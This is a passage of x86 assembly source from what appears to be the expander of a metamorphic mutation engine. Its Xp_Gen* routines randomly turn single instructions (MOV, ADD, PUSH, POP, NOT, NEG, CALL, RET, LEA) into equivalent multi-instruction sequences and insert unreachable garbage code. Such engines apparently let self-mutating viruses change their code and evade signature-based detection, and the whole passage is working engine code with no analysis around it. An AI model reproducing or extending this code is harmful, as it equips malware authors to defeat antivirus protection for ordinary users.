mov [edi], eax ; Set the pseudoopcode
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+7], eax ; Set the destiny register
|
|
mov eax, [ebp+Xp_SrcRegister]
|
|
mov [edi+1], eax ; Set the source register
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single_MOV:
|
|
mov eax, [ebp+Xp_8Bits] ; Get the size of the op.
|
|
or eax, eax ; If it's 8 bits, make a
|
|
jnz @@Single_OP ; normal, generic operation
|
|
call RandomBoolean
|
|
or eax, eax ; Select randomly if we make
|
|
jz @@Single_OP ; this special op or not
|
|
mov eax, 0FCh ; Make a LEA Reg,[Reg2]
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+7], eax
|
|
mov eax, [ebp+Xp_SrcRegister]
|
|
mov [edi+1], eax
|
|
mov eax, 8
|
|
mov [edi+2], eax
|
|
xor eax, eax
|
|
mov [edi+3], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single_ADD:
|
|
mov eax, [ebp+Xp_8Bits] ; If 8 bits, we cannot use LEA
|
|
or eax, eax
|
|
jnz @@Single_OP
|
|
call RandomBoolean
|
|
or eax, eax
|
|
jz @@Single_OP
|
|
mov eax, 0FCh ; Make LEA Reg,[Reg+Reg2]
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+1], eax
|
|
mov [edi+7], eax
|
|
mov eax, [ebp+Xp_SrcRegister]
|
|
mov [edi+2], eax
|
|
xor eax, eax
|
|
mov [edi+3], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenOPRegReg endp
|
|
|
|
|
|
;; This generates an OP Reg,Mem. As the functions above, we check for special
|
|
;; cases and we treat them, so the mutation is even more variated.
|
|
Xp_GenOPRegMem proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3 ; Single if the recursivity level is
|
|
jae @@Single ; too high to make more recursion
|
|
call Random
|
|
and eax, 7
|
|
or eax, eax ; Select "Single instruction" with a
|
|
jnz @@Single ; probability of 1/8
|
|
@@Multiple: mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax ; 8 bits?
|
|
jnz @@Single ; Then make it single
|
|
mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 40h ; MOV?
|
|
jz @@Multiple_MOV
|
|
@@Multiple_OP:
|
|
call RandomBoolean
|
|
or eax, eax
|
|
jz @@Single
|
|
call Xp_SaveOperation ; Generate a PUSH [Mem]
|
|
call Xp_GenPUSHMem
|
|
call Xp_GetTempVar ; Allocate a temp. variable
|
|
call Xp_GenPOPMem ; Generate a POP [TempVar]
|
|
call Xp_GenOPRegMem ; Generate a OP Reg,[TempVar]
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Multiple_MOV:
|
|
call RandomBoolean ; Randomly decide if we make the
|
|
or eax, eax ; normal operation
|
|
jz @@Multiple_OP
|
|
call Xp_GenPUSHMem ; Generate PUSH [Mem]
|
|
call Xp_GenPOPReg ; Generate POP Reg
|
|
jmp Xp_DecreaseRecurseLevel
|
|
|
|
@@Single: mov eax, [ebp+Xp_Operation]
|
|
add eax, [ebp+Xp_8Bits]
|
|
add eax, 2 ; Set OP Reg,[Mem]
|
|
mov [edi], eax
|
|
call Xp_CopyMemoryReference
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenOPRegMem endp
|
|
|
|
|
|
;; Function to generate an OP [Mem],Reg
|
|
Xp_GenOPMemReg proc
|
|
@@Start: call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3 ; Single if recurs. level is too high to
|
|
jae @@Single ; recurse
|
|
call Random
|
|
and eax, 7
|
|
or eax, eax
|
|
jnz @@Single ; Select single with a prob. of 7/8
|
|
call Random
|
|
@@Multiple: mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax
|
|
jnz @@Single ; Select single if the size of the
|
|
; operands is 8 bits
|
|
mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 40h ; MOV?
|
|
jz @@Multiple_MOV
|
|
@@Multiple_OP:
|
|
call Xp_SaveOperation ; Make the sequence:
|
|
call Xp_GenPUSHMem ; PUSH [Mem]
|
|
call Xp_GetTempVar ; POP [TempVar]
|
|
call Xp_GenPOPMem ; OP [TempVar],Reg
|
|
mov eax, [ebp+Xp_Operation] ; PUSH [TempVar]
|
|
cmp eax, 38h ; POP [Mem]
|
|
jz @@Multiple_OP_CMP ; or if operation is CMP/TEST:
|
|
cmp eax, 48h ; PUSH [Mem]
|
|
jz @@Multiple_OP_TEST ; POP [TempVar]
|
|
@@Multiple_OP_Common: ; CMP/TEST [TempVar],Reg
|
|
call Xp_GenOPMemReg ; That CMP/TEST can be also
|
|
call Xp_GenPUSHMem ; SUB/AND, since we can modify
|
|
call Xp_RestoreOperation ; [TempVar] as we want.
|
|
call Xp_GenPOPMem
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Multiple_OP_CMP:
|
|
mov ecx, 3Bh
|
|
mov edx, 2Bh
|
|
jmp @@Multiple_OP_CMPTEST_Common
|
|
@@Multiple_OP_TEST:
|
|
mov ecx, 23h
|
|
mov edx, 4Bh
|
|
@@Multiple_OP_CMPTEST_Common:
|
|
call RandomBoolean
|
|
or eax, eax
|
|
jz @@Multiple_OP_CMPTEST_Next
|
|
mov edx, ecx
|
|
@@Multiple_OP_CMPTEST_Next:
|
|
add edx, [ebp+Xp_8Bits]
|
|
mov [edi], edx
|
|
call Xp_CopyMemoryReference
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
@@Multiple_MOV:
|
|
@@Multiple_MOV_Other:
|
|
call Random ; Should we make this specific-for-MOV
|
|
and eax, 3 ; operation or do we make the normal
|
|
or eax, eax ; one?
|
|
jz @@Multiple_OP ; Make the normal, then
|
|
cmp eax, 1
|
|
jz @@Multiple_MOV_1 ; Select one of the two possibilities
|
|
cmp eax, 2
|
|
jnz @@Multiple_MOV_Other
|
|
@@Multiple_MOV_2:
|
|
call Xp_GenPUSHReg ; Make PUSH Reg / POP [Mem]
|
|
call Xp_GenPOPMem
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Multiple_MOV_1:
|
|
call Xp_SaveOperation ; Make MOV [TempVar],Reg /
|
|
call Xp_GetTempVar ; / PUSH [TempVar] / POP [Mem]
|
|
jmp @@Multiple_OP_Common
|
|
|
|
@@Single: mov eax, [ebp+Xp_Operation]
|
|
add eax, [ebp+Xp_8Bits] ; Make the pseudoopcode:
|
|
add eax, 3 ; OP + 3 = OP Mem,Reg
|
|
mov [edi], eax
|
|
call Xp_CopyMemoryReference ; Copy the operands
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenOPMemReg endp
|
|
|
|
|
|
;; Generate an OP [Mem],Imm. Also check special cases.
|
|
;; When we work with a direct value (Imm), we have lots of new possiblities,
|
|
;; like the composed operations (ADD + SUB, MOV + OP, etc.).
|
|
Xp_GenOPMemImm proc
|
|
@@Start: call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call RandomBoolean
|
|
or eax, eax ; Single or multiple?
|
|
jz @@Single ; Decide it randomly
|
|
call Random
|
|
and eax, 7
|
|
or eax, eax ; Probability of 1/8 of making a triplet
|
|
jnz @@Double
|
|
@@Triple: mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax ; Is size of operands 8 bits?
|
|
jnz @@Double ; Then, make a pair rather than this
|
|
call Xp_GenPUSHMem ; Make PUSH [Mem]
|
|
call Xp_SaveOperation
|
|
call Xp_GetTempVar ; Make POP [TempVar]
|
|
call Xp_GenPOPMem
|
|
mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 38h ; CMP?
|
|
jz @@Triple_CMP
|
|
cmp eax, 48h ; TEST?
|
|
jz @@Triple_TEST
|
|
call Xp_GenOPMemImm ; Generate OP [TempVar],Imm
|
|
call Xp_GenPUSHMem ; Generate PUSH [TempVar]
|
|
call Xp_RestoreOperation
|
|
call Xp_GenPOPMem ; Generate POP [Mem]
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Triple_CMP:
|
|
mov ecx, 2Ch ; ECX = SUB Mem,Imm
|
|
mov edx, 3Ch ; EDX = CMP Mem,Imm
|
|
jmp @@Triple_CMPTEST_Common
|
|
@@Triple_TEST:
|
|
mov ecx, 24h ; ECX = AND Mem,Imm
|
|
mov edx, 4Ch ; EDX = TEST Mem,Imm
|
|
@@Triple_CMPTEST_Common:
|
|
call RandomBoolean
|
|
or eax, eax ; Select randomly ECX or EDX
|
|
jz @@Triple_CMPTEST_Next
|
|
mov edx, ecx
|
|
@@Triple_CMPTEST_Next:
|
|
add edx, [ebp+Xp_8Bits] ; Set the size of the operands
|
|
mov [edi], edx
|
|
call Xp_CopyMemoryReference ; Make the instruction
|
|
mov eax, [ebp+Xp_Immediate]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Double: mov eax, [ebp+Xp_Operation]
|
|
cmp eax, 40h ; MOV?
|
|
jz @@Double_MOV
|
|
or eax, eax ; ADD?
|
|
jz @@Double_ADD
|
|
cmp eax, 38h ; CMP?
|
|
jz @@Single
|
|
cmp eax, 48h ; TEST?
|
|
jz @@Single
|
|
@@Double_OP: mov eax, [ebp+Xp_FlagRegOrMem]
|
|
push eax
|
|
mov eax, 1 ; Mark that we are making
|
|
mov [ebp+Xp_FlagRegOrMem], eax ; a memory operation
|
|
call Xp_MakeComposedOPImm ; Generate a composed op.
|
|
pop ebx
|
|
mov [ebp+Xp_FlagRegOrMem], ebx ; Restore the flag
|
|
or eax, eax ; If we couldn't make it,
|
|
jnz @@Single ; jump and make a single.
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Double_MOV:
|
|
call RandomBoolean ; Decide randomly if we do
|
|
or eax, eax ; this or a generic operation
|
|
jz @@Double_OP
|
|
mov eax, [ebp+Xp_8Bits] ; If size is 8 bits, we can't
|
|
or eax, eax ; make this option
|
|
jnz @@Double_OP
|
|
call Xp_GenPUSHImm ; Generate a PUSH Imm
|
|
call Xp_GenPOPMem ; Generate a POP [Mem]
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Double_ADD:
|
|
call RandomBoolean
|
|
or eax, eax
|
|
jz @@Double_OP
|
|
mov eax, [ebp+Xp_Immediate]
|
|
cmp eax, 1 ; ADD Mem,1?
|
|
jz @@Double_ADD_NOTNEG ; Then try NOT+NEG
|
|
cmp eax, -1 ; ADD Mem,-1?
|
|
jnz @@Double_OP ; Then try NEG+NOT
|
|
@@Double_ADD_NEGNOT:
|
|
call Xp_GenNEGMem ; Generate NEG Mem
|
|
call Xp_GenNOTMem ; Generate NOT Mem
|
|
jmp Xp_DecreaseRecurseLevel ; Effectively decreases Mem
|
|
@@Double_ADD_NOTNEG:
|
|
call Xp_GenNOTMem ; Generate NOT Mem
|
|
call Xp_GenNEGMem ; Generate NEG Mem
|
|
jmp Xp_DecreaseRecurseLevel ; Effectively increases Mem
|
|
|
|
|
|
@@Single: mov eax, [ebp+Xp_Operation] ; Get the operation
|
|
cmp eax, 30h ; XOR?
|
|
jz @@Single_XOR
|
|
or eax, eax ; ADD?
|
|
jz @@Single_ADD
|
|
@@Single_OP: mov eax, [ebp+Xp_Operation] ; Set OP Mem,Imm
|
|
add eax, [ebp+Xp_8Bits]
|
|
add eax, 4
|
|
mov [edi], eax
|
|
call Xp_CopyMemoryReference ; Copy the operands
|
|
mov eax, [ebp+Xp_Immediate]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single_XOR: ; Check if we are making
|
|
mov eax, [ebp+Xp_Immediate] ; XOR Mem,-1
|
|
cmp eax, -1
|
|
jnz @@Single_OP ; If we are, we can code it
|
|
call RandomBoolean ; also as NOT Mem
|
|
or eax, eax
|
|
jz @@Single_OP
|
|
call Xp_GenNOTMem
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single_ADD:
|
|
call RandomBoolean ; If we do ADD Mem,1/-1, we
|
|
or eax, eax ; can use INC Mem or DEC Mem
|
|
jz @@Single_OP
|
|
mov eax, [ebp+Xp_Immediate]
|
|
cmp eax, 1
|
|
jz @@Single_INC
|
|
cmp eax, -1
|
|
jnz @@Single_OP
|
|
@@Single_DEC:
|
|
mov ebx, 8 ; Set DEC if Imm == -1
|
|
@@Single_INCDEC_Common:
|
|
mov eax, [ebp+Xp_8Bits] ; Set the size of the operation
|
|
add eax, 4Fh ; Set the opcode (local, this
|
|
mov [edi], eax ; opcode only exists between the
|
|
push ebx ; expander and the assembler).
|
|
call Xp_CopyMemoryReference ; Copy the rest of the operands
|
|
pop ebx
|
|
mov [edi+7], ebx ; Set the operation: INC or DEC
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
@@Single_INC:
|
|
xor ebx, ebx ; Set INC if Imm == 1
|
|
jmp @@Single_INCDEC_Common
|
|
Xp_GenOPMemImm endp
|
|
|
|
;; Generate a PUSH Reg
|
|
Xp_GenPUSHReg proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Single ; 1/4 to generate a complex PUSH
|
|
@@Multiple: call Xp_SaveOperation
|
|
call Xp_GetTempVar ; Allocate a temporary variable
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax ; Make a MOV [TempVar],Reg
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenOPMemReg
|
|
call Xp_GenPUSHMem ; Make a PUSH [TempVar]
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Single: mov eax, 50h ; Construct the PUSH Reg
|
|
Xp_GenPUSHReg_Common:
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+1], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenPUSHReg endp
|
|
|
|
;; Generate a PUSH [Mem]
|
|
Xp_GenPUSHMem proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 7 ; Chance of 1/8 of generating a complex
|
|
or eax, eax ; PUSH
|
|
jnz @@Single
|
|
call Xp_SaveOperation
|
|
call Xp_GenPUSHMem ; Make a PUSH [Mem]
|
|
call Xp_GetTempVar ; Make a POP [TempVar]
|
|
call Xp_GenPOPMem
|
|
call Xp_GenPUSHMem ; Make a PUSH [TempVar]
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Single: mov eax, 51h ; Construct the PUSH Mem directly
|
|
Xp_GenPUSHMem_Common:
|
|
mov [edi], eax
|
|
call Xp_CopyMemoryReference
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenPUSHMem endp
|
|
|
|
;; Generate a POP Reg
|
|
Xp_GenPOPReg proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Single ; Chance of 1/4 to make it complex
|
|
@@Multiple: call Xp_SaveOperation
|
|
call Xp_GetTempVar ; Get a temporary variable
|
|
call Xp_GenPOPMem ; Make a POP [TempVar]
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenOPRegMem ; Make a MOV Reg,[TempVar]
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Single: mov eax, 58h ; Make the POP Reg directly
|
|
jmp Xp_GenPUSHReg_Common
|
|
Xp_GenPOPReg endp
|
|
|
|
;; POP Mem is direct this time. If not, too many PUSH/POP Mem are generated
|
|
Xp_GenPOPMem proc
|
|
call Xp_IncreaseRecurseLevel
|
|
@@Single: mov eax, 59h
|
|
jmp Xp_GenPUSHMem_Common
|
|
Xp_GenPOPMem endp
|
|
|
|
;; Generate a PUSH Imm
|
|
Xp_GenPUSHImm proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call RandomBoolean
|
|
or eax, eax ; Chance of 1/2 of making it complex
|
|
jz @@Single
|
|
@@Multiple: call Xp_SaveOperation
|
|
call Xp_GetTempVar ; Get a temporary variable
|
|
mov eax, 40h ; Make a MOV [TempVar],Imm
|
|
mov [ebp+Xp_Operation], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenOPMemImm
|
|
call Xp_GenPUSHMem ; Make a PUSH [TempVar]
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Single: mov eax, 68h
|
|
mov [edi], eax ; Make the instruction directly
|
|
mov eax, [ebp+Xp_Immediate]
|
|
mov [edi+7], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenPUSHImm endp
|
|
|
|
|
|
;; LEA:
|
|
;; As an instruction, LEA is only used for compressing instructions that will
|
|
;; be expanded here. If we find a LEA in the final x86 codification, it's a
|
|
;; LEA that is converted by the shrinker in MOV, ADD or any like that.
|
|
;; Using LEA in this way allow us to have a mini-embedded instruction swapper
|
|
;; 100% compatible in all cases.
|
|
|
|
Xp_GenLEA proc
|
|
call Xp_SaveOperation ; Save the operation
|
|
mov eax, [ebp+Xp_Mem_Index1]
|
|
cmp eax, [ebp+Xp_Register] ; Index1 == destiny register?
|
|
jz @@Addition1 ; Then, addition
|
|
mov eax, [ebp+Xp_Mem_Index2]
|
|
cmp eax, [ebp+Xp_Register] ; Index2 == destiny register?
|
|
jz @@Addition2 ; Then, addition
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax ; Set MOV as first instruct.
|
|
@@MOV_Other:
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jz @@MOV_Other
|
|
cmp eax, 1
|
|
jz @@MOV_FirstIndex1 ; Make MOV/ADD with first index
|
|
cmp eax, 2
|
|
jz @@MOV_FirstIndex2 ; Make MOV/ADD with second index
|
|
@@MOV_FirstAddition: ; Make MOV/ADD with DWORD addition
|
|
mov eax, [ebp+Xp_Mem_Addition]
|
|
or eax, eax
|
|
jz @@MOV_Finished2 ; It's 0? Then look if we finished
|
|
mov [ebp+Xp_Immediate], eax
|
|
call Xp_GenOPRegImm ; Generate a MOV/ADD Reg,Imm
|
|
xor eax, eax ; Set ADD operation from now
|
|
mov [ebp+Xp_Mem_Addition], eax
|
|
jmp @@MOV_Finished
|
|
@@MOV_FirstIndex1:
|
|
mov eax, [ebp+Xp_Mem_Index1] ; Get the first index
|
|
cmp eax, 8 ; If 8 (no_reg), jump to look
|
|
jz @@MOV_Finished2 ; if we finished
|
|
mov [ebp+Xp_SrcRegister], eax ; Set the register and gen.
|
|
call Xp_GenOPRegReg ; a MOV/ADD Reg,Reg1
|
|
mov eax, 8
|
|
mov [ebp+Xp_Mem_Index1], eax ; Anulate the register
|
|
jmp @@MOV_Finished
|
|
@@MOV_FirstIndex2:
|
|
mov eax, [ebp+Xp_Mem_Index2] ; Get the 2nd register and
|
|
cmp eax, 8 ; look if we have finished
|
|
jz @@MOV_Finished2
|
|
cmp eax, 8 ; If it hasn't a multiplicator
|
|
jb @@MOV_FirstIndex2_Set ; then make the MOV/ADD
|
|
sub eax, 40h ; Subtract the multiplicator
|
|
@@MOV_FirstIndex2_Set:
|
|
mov [ebp+Xp_SrcRegister], eax ; Set the source register
|
|
call Xp_GenOPRegReg ; Generate a MOV/ADD Reg,Reg2
|
|
mov eax, [ebp+Xp_Mem_Index2]
|
|
cmp eax, 7 ; Do it have a multiplicator?
|
|
jbe @@MOV_FirstIndex2_Set8 ; If not, eliminate the reg.
|
|
sub eax, 40h ; Eliminate the multiplicator
|
|
mov [ebp+Xp_Mem_Index2], eax ; Set the clear register
|
|
jmp @@MOV_Finished
|
|
@@MOV_FirstIndex2_Set8:
|
|
mov eax, 8 ; Set no_reg
|
|
mov [ebp+Xp_Mem_Index2], eax
|
|
@@MOV_Finished:
|
|
xor eax, eax ; Set ADD as operation from
|
|
mov [ebp+Xp_Operation], eax ; now
|
|
@@MOV_Finished2:
|
|
mov eax, [ebp+Xp_Mem_Index1] ; Get the index1
|
|
cmp eax, 8 ; If it's not no_reg, then
|
|
jnz @@MOV_Other ; it's not finished
|
|
mov eax, [ebp+Xp_Mem_Index2] ; Get the index2
|
|
cmp eax, 8 ; no_reg?
|
|
jnz @@MOV_Other ; If not, continue
|
|
mov eax, [ebp+Xp_Mem_Addition]
|
|
or eax, eax ; Check if addition is 0
|
|
jnz @@MOV_Other ; If not, continue
|
|
call Xp_RestoreOperation ; We finish when both indexes are
|
|
ret ; 8 and the addition is 0
|
|
@@Addition1: mov eax, 8
|
|
mov [ebp+Xp_Mem_Index1], eax ; Set 8 as Index1 and put ADD
|
|
jmp @@MOV_Finished ; to make it directly
|
|
@@Addition2: mov eax, 8
|
|
mov [ebp+Xp_Mem_Index2], eax ; Set 8 as Index2 and start
|
|
jmp @@MOV_Finished ; with ADD instead as with MOV
|
|
Xp_GenLEA endp
|
|
|
|
;; Generate a NOT Reg
|
|
Xp_GenNOTReg proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax ; Generate a complex NOT with
|
|
jnz @@Single ; a prob. of 1/4
|
|
call Xp_GenNEGReg ; Generate a NEG
|
|
call Xp_SaveOperation
|
|
mov eax, -1 ; And now generate an ADD Reg,-1
|
|
Xp_GenNOTReg_Common:
|
|
mov [ebp+Xp_Immediate], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPRegImm
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Single: mov eax, [ebp+Xp_8Bits] ; Generate directly the NOT
|
|
or eax, eax
|
|
jz @@NOT32
|
|
mov eax, 0E2h
|
|
jmp @@NOT_
|
|
@@NOT32: mov eax, 0E0h
|
|
@@NOT_:
|
|
Xp_GenNOTReg_Common_Direct:
|
|
mov [edi], eax ; Construct the NOT/NEG instruction
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+1], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenNOTReg endp
|
|
|
|
;; Generate a NEG Reg instruction or group of instructions that do the same
|
|
Xp_GenNEGReg proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Single
|
|
|
|
call Xp_GenNOTReg ; Make a NOT Reg + ADD Reg,1
|
|
call Xp_SaveOperation
|
|
mov eax, 1
|
|
jmp Xp_GenNOTReg_Common
|
|
|
|
@@Single: mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax
|
|
jz @@NEG32
|
|
mov eax, 0E6h
|
|
jmp Xp_GenNOTReg_Common_Direct
|
|
@@NEG32: mov eax, 0E4h
|
|
jmp Xp_GenNOTReg_Common_Direct
|
|
Xp_GenNEGReg endp
|
|
|
|
|
|
;; Generate a NOT Mem
|
|
Xp_GenNOTMem proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Single
|
|
; Complex:
|
|
call Xp_GenNEGMem ; Generate a NEG Mem + ADD Mem,-1
|
|
call Xp_SaveOperation
|
|
mov eax, -1
|
|
Xp_GenNOTMem_Common:
|
|
mov [ebp+Xp_Immediate], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_Operation], eax
|
|
call Xp_GenOPMemImm
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Single: mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax
|
|
jz @@NOT32
|
|
mov eax, 0E3h
|
|
jmp @@NOT_
|
|
@@NOT32: mov eax, 0E1h
|
|
@@NOT_:
|
|
Xp_GenNOTMem_Common_Direct:
|
|
mov [edi], eax ; Construct the NOT/NEG Mem instrc.
|
|
call Xp_CopyMemoryReference
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenNOTMem endp
|
|
|
|
;; Generate a NEG Mem
|
|
Xp_GenNEGMem proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Single
|
|
; Complex:
|
|
call Xp_GenNOTMem ; Make NOT Mem + ADD Mem,1
|
|
call Xp_SaveOperation
|
|
mov eax, 1
|
|
jmp Xp_GenNOTMem_Common
|
|
|
|
@@Single: mov eax, [ebp+Xp_8Bits]
|
|
or eax, eax
|
|
jz @@NEG32
|
|
mov eax, 0E7h
|
|
jmp Xp_GenNOTMem_Common_Direct
|
|
@@NEG32: mov eax, 0E5h
|
|
jmp Xp_GenNOTMem_Common_Direct
|
|
Xp_GenNEGMem endp
|
|
|
|
;; Generate a RET operation
|
|
Xp_GenRET proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 3
|
|
or eax, eax
|
|
jnz @@Single ; Put it directly with a prob. of 1/4
|
|
call Xp_SaveOperation
|
|
call Xp_GetTempVar ; Allocate a temporary variable
|
|
call Xp_GenPOPMem ; Make a POP [TempVar]
|
|
call Xp_GenJMPMem ; Make a JMP [TempVar]
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
@@Single: mov eax, 0FEh ; Code the RET directly and
|
|
mov [edi], eax ; generate some not-reachable
|
|
add edi, 10h ; garbage.
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenRET endp
|
|
|
|
;; Generate a CALL Reg
|
|
Xp_GenCALLReg proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call Random
|
|
and eax, 3 ; Make it complex with a prob. of
|
|
or eax, eax ; 1/4
|
|
jnz @@Single
|
|
call Xp_SaveOperation
|
|
call Xp_GetTempVar ; Let's make MOV [TempVar],Reg +
|
|
mov eax, 40h ; + CALL [TempVar]
|
|
mov [ebp+Xp_Operation], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenOPMemReg
|
|
call Xp_GenCALLMem
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
@@Single: mov eax, 0ECh ; Code the CALL directly
|
|
mov [edi], eax
|
|
mov eax, [ebp+Xp_Register]
|
|
mov [edi+1], eax
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenCALLReg endp
|
|
|
|
;; Generate a CALL Mem (used for API calls, so EAX, ECX and EDX regs. are free
|
|
;; for use).
|
|
Xp_GenCALLMem proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call RandomBoolean
|
|
or eax, eax
|
|
jnz @@Single ; Make it complex with a prob. of 1/2
|
|
@@Multiple: call RandomBoolean
|
|
or eax, eax
|
|
jz @@Multiple_Reg ; Here we can use EAX,ECX or EDX
|
|
call Xp_SaveOperation
|
|
call Xp_GenPUSHMem ; Make PUSH [Mem]
|
|
call Xp_GetTempVar
|
|
call Xp_GenPOPMem ; Make POP [TempVar]
|
|
call Xp_GenCALLMem ; Make CALL [TempVar]
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
@@Multiple_Reg:
|
|
call Xp_SaveOperation
|
|
@@Multiple_Reg_Again:
|
|
call Random
|
|
and eax, 3
|
|
cmp eax, 3
|
|
jz @@Multiple_Reg_Again ; Get EAX, ECX or EDX
|
|
mov [ebp+Xp_Register], eax
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenOPRegMem ; Make MOV EAX/ECX/EDX,[Mem]
|
|
call Xp_GenCALLReg ; Make CALL EAX/ECX/EDX
|
|
jmp Xp_RestoreOpAndDecreaseRecurseLevel
|
|
|
|
@@Single: mov eax, 0EAh ; Code the CALL [Mem] directly
|
|
Xp_GenCALLMem_Common:
|
|
mov [edi], eax
|
|
call Xp_CopyMemoryReference
|
|
add edi, 10h
|
|
jmp Xp_DecreaseRecurseLevel
|
|
Xp_GenCALLMem endp
|
|
|
|
;; Generate a JMP Reg
|
|
Xp_GenJMPReg proc
|
|
call Xp_IncreaseRecurseLevel
|
|
cmp eax, 3
|
|
jae @@Single
|
|
call RandomBoolean
|
|
or eax, eax
|
|
jz @@Single
|
|
call Random
|
|
and eax, 3 ; Make it complex with a prob. of 1/4
|
|
or eax, eax
|
|
jz @@Double_1
|
|
@@Double_0: call Xp_SaveOperation
|
|
call Xp_GetTempVar ; Allocate a temporary variable
|
|
mov eax, 40h
|
|
mov [ebp+Xp_Operation], eax
|
|
xor eax, eax
|
|
mov [ebp+Xp_8Bits], eax
|
|
call Xp_GenOPMemReg ; Make a MOV [TempVar],Reg
|
|
